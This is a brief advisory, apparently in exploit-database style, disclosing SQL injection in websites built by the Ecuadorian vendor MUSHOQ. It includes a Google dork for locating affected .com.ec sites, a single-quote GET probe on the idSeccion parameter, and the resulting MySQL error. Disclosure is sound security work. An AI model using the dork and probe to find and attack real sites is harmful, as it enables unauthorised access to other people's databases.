| ,------------=--------|___________| -=============%%%| | |______|_|___________| | | | | | | ||| | | | |___________| `------------=--------| | | [+] Date: [7-8-2015] [+] Autor Guillermo Garcia Marcos [+] Vendor: http://www.mushoq.com/ [+] Dork : inurl:index.php?idSeccion= site:com.ec intext:"Desarrollo web" [+] Title: Vendor MUSHOQ SQL injection [+] info: idSeccion and other parameters are vulnerable to SQl injection. PoC: SQLi from GET request: XX.com.ec/index.php?idSeccion=%27 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3 https://twitter.com/Guillesec